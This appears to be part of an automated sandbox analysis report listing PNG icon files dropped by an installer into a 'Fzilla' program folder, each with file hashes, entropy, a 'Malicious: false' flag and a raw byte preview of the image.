.h.6.~.7...0...o_...,....3....G...K/}...+.E....1...`$.....>M.....,....8..N..#1`..N%.\|."n...n={...\.@.2...(.v.:..`%.k...vlgV...8.....9.E..._.......9`......j.-L.....h...5...#l!.#H.T..-@...M.XT...a.CXzb?3...../.s...a.T.qT..

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	837
Entropy (8bit):	7.658948352574359
Encrypted:	false
SSDEEP:	12:6v/7i1Z+zxeHbJ3mlgmuOMZynJkaVCWFr92PpiXypSo/UpV/Q8d0ulXj1am4bp0H:RZWYQmaDCWKPpmypSh/d0sjsbXW
MD5:	63EC3726F1ADB26C70DD1788DA40F5C1
SHA1:	0FC02D0396C296EB23443BC9AD69C587C493076A
SHA-256:	C74257338FBB21A560F1803943C47AAB25A923B9C5B6C06FB323B7674DA82091
SHA-512:	30C690E27C3183B1EFDA94C8A1C56AA88A4D466F784659D716943DAB932B26E54D71BB6E304FA0FE36467E990C7CB71D1DA1907FD599D373622A36DCB5840175
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....]..g?.>.m.h..\I.b;Y.....Ll.^MzONg.c..Q..T=5S...>...c..;v..r..c...%...7.VN.R%.oD6.B..PH6...1..=kcQ.c8Q..u.S.T..:u_...vf.\.w. ...-.\\#M?.V.52.8...N)9OFY..}i....T.Y..x..ga....L#...u.J.v...'....c....,...Upyu_h.(..Oe.E.F..../....p.....WiU..75....OM..#..4~.#.H.a..$\^...n.....U.oMR#.C.@..,.ps......v.....%.H.X.#]..N/..p..N+.qJ..I..H.%..W...VJ(.(..r...d..R.:%.R...!>.R...U...).........R......v.8e...D:.R.O=JT...NS...G.w...ia._#`.T%&..\X.........[.o!\)..r....h),..]. q8....H..g......#y..I.....4._.....L., .!\|.]."%..!..+....".:p.Xx."..F....Nc......E..b,<g.JX^x.....a.....F.E._.<...w....;;e.....{L/....o..=q[.xu........M..z.%.!.?nU..f..G.....).v?../.a...^x.OZxE...&..d.)"e$d.9..x.B\x!^.!..&e..8I.....t&.H....M.l.N.pU'5.9..q...s..;v.........y.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.525041421795061
Encrypted:	false
SSDEEP:	12:6v/7OIz+oQq0YmTpp4uZgxbulPcrgor4Sy/njhYrNzsK7lJ:bIyoN0YmTpWkPcrghSy/0sYJ
MD5:	D3CB5A8FF55B0CC0D62903282C960BC0
SHA1:	C8AD5CAFA26D262A21DBD34FC13466635859EB5D
SHA-256:	0E03158440D914549E90D9859DAE04CEE8DA2CD7E7C2183438A02DFADAF14107
SHA-512:	73D470A7D6768FECF9E77B0427BA48AB250847C4BDF1931D08CD3E5655304EA08FBDBA8D6C6C23BAEF2637935121C93AABD1827B061736655008F2807E1D9696
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....A../n.X.m...lc4......VcWg......h..w...3/...o.v&..........Q(.;..Sx9..b.......O.?.<Ai.g.67...D...Idb3^.......v....o.^..E.I....... 0(..rk)1.....Gd+........]9(..5R%...%.+(1..M ..D[7>.=..^.....g..Dz.$....b8... .7...K........@b.. .7H..Di7%...........6..vJ..;.\[:.).).W[#>...$....tp.&.'(.Yt.m.s.......Jl..z.$.......N......T...E*$'.J.t`...@.pH.yG8$`t..uDT....[..pF......4..%`..V....`M.&..vJ".D.!K...lJhD....:...~..8I...0Gtst....1......:31.<#_I.T.e{.mM.V..].">.......2.;....jr.\".m..;.....,;...,..F.j\|\|\|\|\|\|~...^E......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	451
Entropy (8bit):	7.3373589268551855
Encrypted:	false
SSDEEP:	12:6v/7Na2NyL0hYg8iGUOd7znLUUuUCG09b:RIhY3fXMUzOb
MD5:	B0B42B523CAFE2271473DC75636BAE39
SHA1:	1484FBA89C816D2FB05528FB9913C776B1BE4657
SHA-256:	0F6F8573DF3EADEA51A370F7E014115D6BF128E6D698C2BF197293B203C6F908
SHA-512:	772E98651626A06B887966502C0456A6D67D35713B7D8BBE6C606924AB5670BCB64B3C3B7D73541975EF573F0F8025A6DA226EDBEAC195DBA0ED697FC7085E9B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......P....n.vm.m..6.m.k....6..<....d...o./.I.Y.0f.q.....#K`..b.6c....^.. ^.EW..C.p.... .2!.6$..c}.]/q?q..!^..U\|./Qc.<...@..c....!..^..C...}.4<QB...k.Q.....[.....keoV...8%.........>..Vb!..2...W.....m...(...?..xozx=..@.19~../.kj\|_...M./.?>.;...Y.%.4....? ..6\|]6.(...c5Z.O@I[.......p....`1:.t@>.~....GMT.1~.. ...-.=!....p..A...s.;D..6..w .t...........?R2]C.....%...#..7n..OM.r.D.H....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-05FVU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	7.797347205231396
Encrypted:	false
SSDEEP:	24:3CNMTy2pprk7SsTEArGj5+XOPHQLQ4EBlXQeT1PfnZ9LY6ax:3CUy2ppwbTK4AHQLQ4qpnzwx
MD5:	112F068BE3CEE29C386D56D797DE1CCD
SHA1:	C5311863FB8ADCFD5A30B0A4664FD638DD64A3AB
SHA-256:	CADF696C9DE036928DA790FB32910562D7B20AA0AB5E09604566A8AC9270C0B8
SHA-512:	62A23116AF2A0AA8B99E2A7C59D6E0D6945EB1F09AB73A9150CF8EE6F6184232726F6CB1ECC11B530EFFE212F2E02D9A486E381DC508FC739F7D57F838617A2C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......jIDATx.b...`...3.h..0.gm.m.m.m.m.z..&.{.?9.).2.s..L.}...R.....h.y..?,.)..........A.rj..O1.p....Y.U.)...A.sV...d.P..4.{...e....AH..\./.>.nu.5Kh......o..C..!....].Y..M........?.>5:/;......Hx..f...B....f..R.I.Q..../.7.\..F...V....D...[-O.....f.DK=..s.U.h.X. .......@..b!......3.DO.`..W.Ddj..akdT....]v.L.%`..i......t...-T.J...,m..T.o...I]..LB7....Cd..YP...?=.8....j.I.......W..B....X...)...}.. ..4a....!..Xgb.U....g...v.....}...........}.E6..l..O_...ug.1..>.4.>ee......J....sU.=-.........>...bG8;....#!....-AX.......I4l.."S..n......'fH.J./.7.P...L.n.a.....h?.p.C.0.T...^..D./.o......U.....6.....}L...!k...#.........&'....Z..x.P..{TLCG.){..]I$..`O.....7.q...5`."...R.N...9.....L....................$..h?...XA$......r}3...Y...t^v2..dZeIt\x.-Q.\|..U..!6.../^s.L.N.....j.7...%.;..XY.k}/.......Bu.p..9.....i..........._.He.F...........t^u.L.ee.......M....O........<.9....;..{....~9.......t.W.6m...t....R.-.cy....Ss.z.)...H.6

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-1TEIE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.574157688897543
Encrypted:	false
SSDEEP:	12:6v/74u+iZTLCiOLgYA+Ez+ehv6+KlyTlNajbtTDqroCzFVbTFaxp5Q9:xilC1dA+Ezr+yTOjMroCz73FT
MD5:	FE226AE47525667611DC0BF2BC8F84E3
SHA1:	E927B60D9CBFFA64BBCA6220369857FDD3362201
SHA-256:	185102B4FFCDDDF54EF765C99B5C0D8CD6717B953685626263FD7017750E6204
SHA-512:	B3D3CDAD903F64609597633805A5075C3E7FAEEFE1362D95960E83C2459B08A32CD15A20D213B394155D81F451B90070770B0258D27FF09EDA74FDCFE73753FA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......9IDATx.....\Q...NP[o_m.v.2...m.m....m}...b..gyO.[...<q.1c..3f.D...B4.&.0......m...R.J.$W.....$x.!.....}.....;m.....4....a.%....D..^..F...^..Fz@X'......v.K.=:..)..i....L...V....Or..............u.B.).....*U{.._.dW....[..q.=...-.c(....wD..@..@>..^.^.F..J..2...a..`..`.~..(.....'..+kD...LW.}L....F?......w..1...U&.<. x..........\|H... k..'...C.%.....os...]p..?..Q..7..S..F..H).F&.qs.^$..(!.q..F.....7.....".k...HDh.K..='..F.K.\|.z..9.z"......z.x...=.O.T4B-/7..m.t&./. .l..4..T...[`..5i/..{..p...tp....>.4?.2=#..L..HN.d......... .`....G$...=....H2..x..........K....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-6MD7G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	7.219700562616368
Encrypted:	false
SSDEEP:	12:6v/7XNEzyqG0SvHl1Y0c9lbj2SB3V9nMYZTdvlz:f9SvHlk3nJdV
MD5:	332D58CE0DBDFEDE64274D121764B14F
SHA1:	4B39C02015FEFCFF2AA28DD07C373717CF0BB153
SHA-256:	90B3F995625461A74DA4015252F0217062646F50A79C62E1E90AD0982246E3D1
SHA-512:	0D9B6CACB33C6C36437346C4825AB2B76C27730AA1AF2BF7E27A25968184D94260CDD5AB58F0851E8E68EC0AAC768988F5664AA146F54D53F7E63C8C523E29FB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......hIDATx...1,....a..u..k....m..f./.V[.6M.V...h...c.,.......c:..r.K.K.8Ns.wwF.&&&&&&&&&&f.\.Q.!..@.&e.......<N.......V..I<C2................6... 8.....D.x-..."@..C.....N...w.z~....E/...`O...q..K....Vd.>..ghg...O...1_.]......j..mL.V2D..o..>6...#n..;<N...c.........../..b.y..M..<.H0.._.aJ?_...!.BU..X...Br.F........z.'=.<........7..A...^.a.X..N.yt..vG.s#.`....5......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-6OUC7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2265
Entropy (8bit):	7.8574358861512
Encrypted:	false
SSDEEP:	48:AyQ3QCqi+Un2PvXoWATRyCZ5IZ7YUb2PbpFHPj3vKB96t4KNygKU:rfPAHZ5+EPbveBItpMg1
MD5:	42AA2F8AB212AE2F20C77FAB02E894D6
SHA1:	39D9A0FCF2029EE555FC2D94B9D8B83CCD4D555C
SHA-256:	E8D622236EFA0521DC9061901D20E4999C77DD2847581F320C78F5DD3665F6A1
SHA-512:	6DDA8032FCCBDC12175FFAC5E611B78036928124416674D3E0273C17BB044E73369EECE8CF9A5EFB82B912039C2D96D2E80CB06C491ECF34CECFADE8BC607443
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx^..y..e..........c....b)T.R.(GS.".!..bH.I.P.h4(...&..... "GQD.D...RJ[h..[..1;;;;;.....KwfYbH.I...5.........#.8BP....2@.....G.~ss_.............S_z.E..r..x..Q.......~..P......7.....a%..".....@...e+&..p...2xQ...iz.F.I.@)....b...c.......X....CtCp....`.....nu.c.3. .iv<....O3N..]jp.U+.U.... ..XqI.%_L.......p...-!H5..M.F.g./...L.....QBa.q%..).CJr{}.T,].b..A.?S.n....t..S..\|..{.G.KO.dj.S8. ....r.}....jk.w..e...P...%&.....0S....A2.g...0c..V...Ny...X.F.....F......)d.q...........w.0.F...=.~....6...ig7q...?.bh.O9'.:..?.E.r_.Y.u..@.....#.8....<..x..i.)....S.2+...\|..a..\|...v...s........`..x.\|]eF5#c.i.l{.f.~V......)....W\pM......7.C.K9.sN........<~....A.Oo..;o.<.GS...L"...3....:.PY6.v.g....%.,.K.](9..D.t@...."{....G.......Z4.P..Y}}..'....H).t...0.......z.b....}....nQ.}.6......=;....7....[.\Fe.....Q..L.@..<yo.=...e..}..:...5.....m..l.0.....)....y..;.}.tAl.b.8\|@t..P...&.c5..&......S...[v:+.,B..].)W.l....ur.C.m!C.<.N

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-7GP8L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2337
Entropy (8bit):	7.889825043854827
Encrypted:	false
SSDEEP:	48:crWCb3Gxk3lTNkgEx59ThxAkK/e2OpgMMKcn7nc1aVMU2zu:yWG3lTNkHH222fMMsGky
MD5:	3074B911242301D208B68D18AD83327F
SHA1:	A125B6088F25E22B8030B73953B2D5C1FBD54E97
SHA-256:	8E4E993FA5D35F52D91278798D3FF35182B0E284E7DC385A32847A7E62747313
SHA-512:	7935E90F6D407641CB27DE4FB24563FFBC794945F50A6221117D3B9820B2E94235C8C36808FDB52FC6F46CD6C2FB5320D97532EA463B4906E970962188A2516E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..yP......t..1..:....(....p....r) .W.e.caw.eY.." "........5.LF.}..6.M'..fjf.'=d.}\|..E.e.....g.c_...s....^.5.....^.kMH.<.HX....K.#../.L........?o....O^.....-.o$...{.{.o.b]T..E.X.. . >].~.O..@KK.R..%Z.....D....jP.QC"..\|....v..lF.,....&.N.ti.R.HJ..s..;.#qs..gH..PB.T.rg...0.o.+..>....I..7.k....Y.%..`. ..IJ,.. C.lR.............EA.G...b.!k....5.QH.v.~..M.....V(:...j.....d..N..S......kt.....>.XLx....."..~......!....V:_)H@z...Bx.......E\|L\|wJ....q......A...a....$.7,...q..$J......j....b..U..F G..F..&.'l#...S..M^n.477..{{04`.`.............%EZ..:.P..Q9M.2..'..:...R....Z..:.V.J.uA..m..z.XSR..7w.d..P6@...V.F.x..l..qz&..K&MjZ...9...I.HH.O.....!...........X.u..T.n.T..... 8f3....x..T.m..2.!.....;9"cAe....7.'...../....<..<...%.......i....L..:;l....J....yn..X...`Rh.\|t...N/y..'..5.V..H..l.^....0.1...j.F=...."nn...:>..]....L..dP9.OIE.-...>.).!..@....8.....T........3,.+.......m0..A.a%...N...B.P(..Q.T..B..M..)v6p.\..

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-7HS0A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.525041421795061
Encrypted:	false
SSDEEP:	12:6v/7OIz+oQq0YmTpp4uZgxbulPcrgor4Sy/njhYrNzsK7lJ:bIyoN0YmTpWkPcrghSy/0sYJ
MD5:	D3CB5A8FF55B0CC0D62903282C960BC0
SHA1:	C8AD5CAFA26D262A21DBD34FC13466635859EB5D
SHA-256:	0E03158440D914549E90D9859DAE04CEE8DA2CD7E7C2183438A02DFADAF14107
SHA-512:	73D470A7D6768FECF9E77B0427BA48AB250847C4BDF1931D08CD3E5655304EA08FBDBA8D6C6C23BAEF2637935121C93AABD1827B061736655008F2807E1D9696
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....A../n.X.m...lc4......VcWg......h..w...3/...o.v&..........Q(.;..Sx9..b.......O.?.<Ai.g.67...D...Idb3^.......v....o.^..E.I....... 0(..rk)1.....Gd+........]9(..5R%...%.+(1..M ..D[7>.=..^.....g..Dz.$....b8... .7...K........@b.. .7H..Di7%...........6..vJ..;.\[:.).).W[#>...$....tp.&.'(.Yt.m.s.......Jl..z.$.......N......T...E*$'.J.t`...@.pH.yG8$`t..uDT....[..pF......4..%`..V....`M.&..vJ".D.!K...lJhD....:...~..8I...0Gtst....1......:31.<#_I.T.e{.mM.V..].">.......2.;....jr.\".m..;.....,;...,..F.j\|\|\|\|\|\|~...^E......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-8CQC6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	364
Entropy (8bit):	7.053084072875838
Encrypted:	false
SSDEEP:	6:6v/lhPUUXEXl5FaUv0RjAkxjgXqfB9zu5Ink4Yq7zcnkrSiUZbDWRC+Vp:6v/7VEXluVRjAkOXqp9Cek4Z7zgkGiU+
MD5:	8E29883E144B9CDAB46EA6939A9B561D
SHA1:	359398993D07FD5F89D4707099274BFA713DE18B
SHA-256:	D2CB80E80774006A574502622B7FE087FE835E12B7EAE3CBC2C7756DBD135EE8
SHA-512:	3CE485978F06A6B557E4386AFCC55AAADDA9C1268A2D7821EC294A8D9F26FD492F7B66B5B0CFB354347DE8E817337D15BE8D01B4E6507B7DB4BA6A92F0DDC15E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......3IDATx....D.A....D.E...!H. @.R.......')..JH@.. (pG.......$T....`........n.O+.....x.R.......94I.......Z.#..T...k..0.X...9.. ....H..C4`.b.@q........ .V%.......Bn...u.....@.aJn...M...Br.y.%...Ry...O...U.......U}..0..&.Q...V..~.......r.b...r......F...1`."..t.[.cc@0zO..5...*.....&.g...J:G0@.......x<..~...<s_..R.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-8OG5U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	7.8184779179574955
Encrypted:	false
SSDEEP:	24:3LEMXmU8zUdydtYKlEFTwK8Ues6lZ7nTox4lWWIdNQRTI5ZM/sJG/zu6/Pv0LBqe:3I018zUd7KlEF8K7eLZLcj5d+RTEjKwT
MD5:	8A31C63B80B52FC5985042D08BECFDC3
SHA1:	9EF26ED80A9CA92CD55F81B9C8BEE3A6512B91AF
SHA-256:	4EBD5826CA37368C3BF9C78D9C9FF58E07B7698CEEC2FC75081B396AC0448246
SHA-512:	F74E1C73440A1547AA5C5D5CE3F0AAF24CB8E2C3969D193235EED66A02E9B474BC0994C36E5F3FA803769A5911EFE730946DEA8AA075C60BF20DAC02A3B599BC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..YlTU..o.U@h.. e. ..mi.L.i......R,....1..}1...<.5....Q.....%!iT\..kb.>L..JB......]..Br..v.....s.\|w..n...X`....6....Ax...<z.$.$.......G@.)P.. ..S......5..S.U..j...e..;!.1V+..ZU....L"....[..o[8.n..:..S.....m._....ZZ8Y....`.....,.e..ki..F...C+.....\<U..+.....7.C ..NU1~..gYj.....k.J...xh...4..'.:..1.h..;.6.;..Q..9.............R;..D..ni..^..8..sI..-...,=.\|..~.3G......q<Z..T.G...p.%Pt.p.+..s..Tlgc....JU.......Z8,..4.mw...-.+.#\|...s........+/.7....X.@...j.gQ....Whl.N.:....x...Y.......8.?...3.G..Y>n......b'>s....`......<.9....3.-.k.~xp.....b%.z.U>..p.da..&..O..Y5....5...NZ.#{....l.v.L...z.<..@..6..._\v....u...h...O.Z.[..&......S ..B.$N..^s.z.....A...:@0.h..._].X.2.q.....$}a..O5.F..v.?...C...V8......./. ?..~.....I ...$....8.G@..7.. ..c.I.,.I..N....."?.\|h?.Q.q.7.......I[k..V....+.{Ap..a....#.g@....t.....hq.\|ck..2}......../....H`.. fh...Z.~.(-r)i.o.2.........L.9v..lj.l...L.M.....8.r.SnfQb.Y.._b&@[.......

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-DIFGV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.014966266922034
Encrypted:	false
SSDEEP:	6:6v/lhPWoA9akJPSP8IDOCnShtff9GuUgJO/aJtIfiNpwd0Nnq8IQcpsftVp:6v/7DqHf9Gb3SJ+f+w6hxcpu
MD5:	12E35E1E47BC40C7CB960D30E2937A88
SHA1:	A4A910E79182B532BE4C2E82FF4A498524F1B82B
SHA-256:	26A07FE2A258F8BD9E85CDEDA32CFD0E9BB97861F19975CEBD3D0DBC3437940E
SHA-512:	EC078B410F36B37C7846AF848C89F8273DE4A996B0B209D342FEEE38026417AD5A0CC64F98F78CD0D351816B45DF207F6453DE2BBA72D6963B943AA8A1A79353
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....'IDATx.c`...`(....KJ.......c....D.#..y..........cA.......).s..SK._...P.Z..IUv....P....xT.?..........o..(....?.X.@.BC.....T*........E.b....T..P.t..#._.....r..t.lA.x.?..V.u.)_.@...&.......W....q....H.oP.Y.....&ZX Z..^<o............4..h.L.[..b%.-.Z......xUz.....v..gP.2.....`......@....FK.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-F10SE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1450
Entropy (8bit):	7.802879954373579
Encrypted:	false
SSDEEP:	24:DL5MsE733nXSC1a/ShXwd09bA6Hvx43Q5r7H1vD6vHuWTBB8P:DL5Mr733XDAuX60ZxZpN7HJlKB8P
MD5:	5E5864C1CCE24C7960B5D3ADF7AAD51F
SHA1:	60117AA48AFE8312C1A214062B1179D2394BD063
SHA-256:	25590743B8A8C2DA52FFBEAF993D0AC4C31F4B0BF6A5B3A7FB4F9FF8EE098914
SHA-512:	B16B9CB2AE50C9B13AB5B31119BC6F13C605D990F682995A118046621C73EB6C2B71D3BBF0DFEF700BB8F172C3D32BF618B8A6783BBCDCD0C7C795845EF46987
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......qIDATx.....$[.....m..m{l.m...c.96..].$c.O.<]..VW.Ll.-..v..[.I.K...S.I....1......O.."W.4....sdI..u2AF..X+.j......r..Sf....W..L."......Y&.\.2)."..#.......M.6?..\|1......3.t......V......oi...u...G..m.1.......Q..4i.ULu..R......D...^.U.Vc.5k...\...i..b..X{..i.<..+.T.}...]..z......R..m...={.\.C..M..=Nu....-[............eO...l...GN.IK...O.....a..k..>}z.+.s.=..yT................M=....+....HKK;.y..=...vL.}){...K.....hR....i......4.\.....^..?..3..V.f.....y.7...0....(;..+JJJB..V.Z...m..t,].F........b.uv\...x...eJ.....f.......P.[h....{L/.....:...p..f..... .........w....)((..m]k?.e....,.^.6......e...r.Q.]n.......u..y...a.../@,@,..up......N.%..z...m.U..)..Q.s\..q\...*I...;...4.\|Km.8......;.....`..r'^.A.@..r.........Lx../N/...3....{.i..;@..n]^..P..W.......U!.....v.Bx.....Ah.....y....t./.?.....=Ob^:.:.%7....8...a..T.....d.?%.....S....#e...\|d`...r.....+..R..\|...;...~........6...<.U...&....$.......R.H...9.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-F5ONN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	711
Entropy (8bit):	7.598337758675123
Encrypted:	false
SSDEEP:	12:6v/7jDTLvH0p981VctgopAm4oyRmOSrzESBWKCbFnu73GmS9Fa3/Pt2j7coev:+D3vUU1o1pAmu/Sr7srbJwGEXt6cdv
MD5:	A7B6F04ECA627B530E7FB354C5892900
SHA1:	D81FEF27E29A08260699E7CA7E34E9407E2E1689
SHA-256:	DACB68CF141608836A1941CA7A600CA5A2D9A532FDC2D5BA93288E5B5AF6CE5F
SHA-512:	44CCB872235530F8533372062663C55F28E3770ED8EE2A3EFC113200F65CAC5220A245D1DDB3D304D1B4A0769E389D9E7003CC1C17F6E1F8360600453B2116BC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....l]q.....V..m.Q.6.y.f.m..N..t.......}.GI.y.N]..V....._.nR.d.U.B(eR.L.....R.@......%-..........-........-6....K..&.......+hf1.<.^..........\......%.!.n...I.u.^S m..3..=....l.N.e..%....@..........^....`..4.8@.........x....=.....P...J.k......x....x.....v.....5.2.nF......\|A....._......A....IP.n..........c..w@..&..@....D.L..BD......x.1......5...m...A.;"jK.d.s{....M...y....8......{TB...K.7..#...T>..w..#.)s.....V.. ...c.....R1.'..zL.e... ...a.=F.g..As3.$..1w.H.QS.2..i...#.~.g*b.w.lM.....x...cI.=.(.."<......%.....0....lhk..<R..'.. `.5.@...........F.H...F..{.!/.../...S.N.:u.oE.fF...hD0'}.j.............eR..dR.$._.T...R=.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-HHTOV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1146
Entropy (8bit):	7.778287018228459
Encrypted:	false
SSDEEP:	24:3iTrjIU/RlA2aqElE27BmLMYLLzVRHpvtiP1BMORO0xt:36gUPaq2E2woYL3V3v4PbMeh
MD5:	98ED26C5379EF6C8230CEDB6A67F76F2
SHA1:	543CAFCF47D42586704FF87FBDBF02B5B3AEA417
SHA-256:	A2542D8C3FD64E23FEA0CEF09BD69DAF5959CAB8DF41BB93A2F1CFB1C59019E0
SHA-512:	3E1D379B5448DF5586A8D7D9A94F94B0CA2522A1B653ADEBC83C7E3281A266255682B4CC5A95D4EC6E73343EEA8D85CC5433B85F0B1E796FC972F6CCEFF9F06D
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......AIDATx..._..u...o..{..0E-..1.d...A.J5S.L...X,..Z..n.rZ..U.m1&$....EFd...S(Z.h.i.y..x..9c...8......~....'.x.q;.\|7f.\|-..y9(......JhD...\.F.F..8\|..P!i.Y.B.....FN......$D.\.....{.Y7X.......cQ.>.DH.u......e.P!Bj,.<(g._.....g..k.Q..4...:.%&..+,J.=.r..W....._A...Q.B.....m........N...Oi.x>.7.E?O.....B.'..<.G. ]Z._.....T..NT.zr....6!`..B.;.g0P..;..PT.Cq]6?e....55..(92i.)WR.H...K...}vx...{3.....T6'&$C.....\(.K..tI...B....Ak..\|......^[.}&z.hx,.z.xV+w.Pb. ,...s3.g..&..qih"..r....;T....g.A........f......7N...o.O.h.)..g.T...X'.U.&\...^...<d\.n[.x.........P.^m...L...K->..?d/.m...=,...}%$..f..i....fF.....h.S..f....O$.W.....s>'.\.....B.l+My.4K+..B'.'........T.77R.R.\|.~.....??a/dT..0t5.m\O5...... ,q..\:..F.a.n...2. ..x.}l.i.)..yeW.....;.Jha.W..&.[x}'.Y...G..N....t2jG=[8i..58.o...a.....#..pvp.H..'...7ej%."J.[.3q..f.s)o3..k.r.=.+P d..bML.eN......:..L.&...j...B..HW.H.m.....M..P...ktAuya...E_O..vbl,.t..B...l.......P,Kd.>..

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-J3AN3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	7.789946707579446
Encrypted:	false
SSDEEP:	24:3VzK+kc3pDUZOKGjdLrjxPJp8XUggAqaj9NOz:3llzAZGjdLrjxPJmjgLajg
MD5:	83EF20F610313A4652F5AC274C4ABDDD
SHA1:	2E40F7237322A11F4D326C0A45C0A3DD0D803630
SHA-256:	13BCF1EE293257E6574FF7BD93FBB52EDD581609180F7E463C8AA3CFF0F1408B
SHA-512:	EE2D802FE8F5DF3126F5940F73FD1645AD8839C4F67696611000753FBF526CC6B469975AFF0946DC569573675F4348AE92F3C56C4308FA3ABF28F332E937F8D6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......PIDATx.b......6.4.....6k]....c..L1Smj..k.q6v.....\|.Du{..L....(......;v..t.:.....Q.C...G]....1>..#........z.@.E./..Yjy)>...w..}.z(..Z9....Z..K...{.s..L....~4...F.....0..!..>....y=:.....fGF.`.. 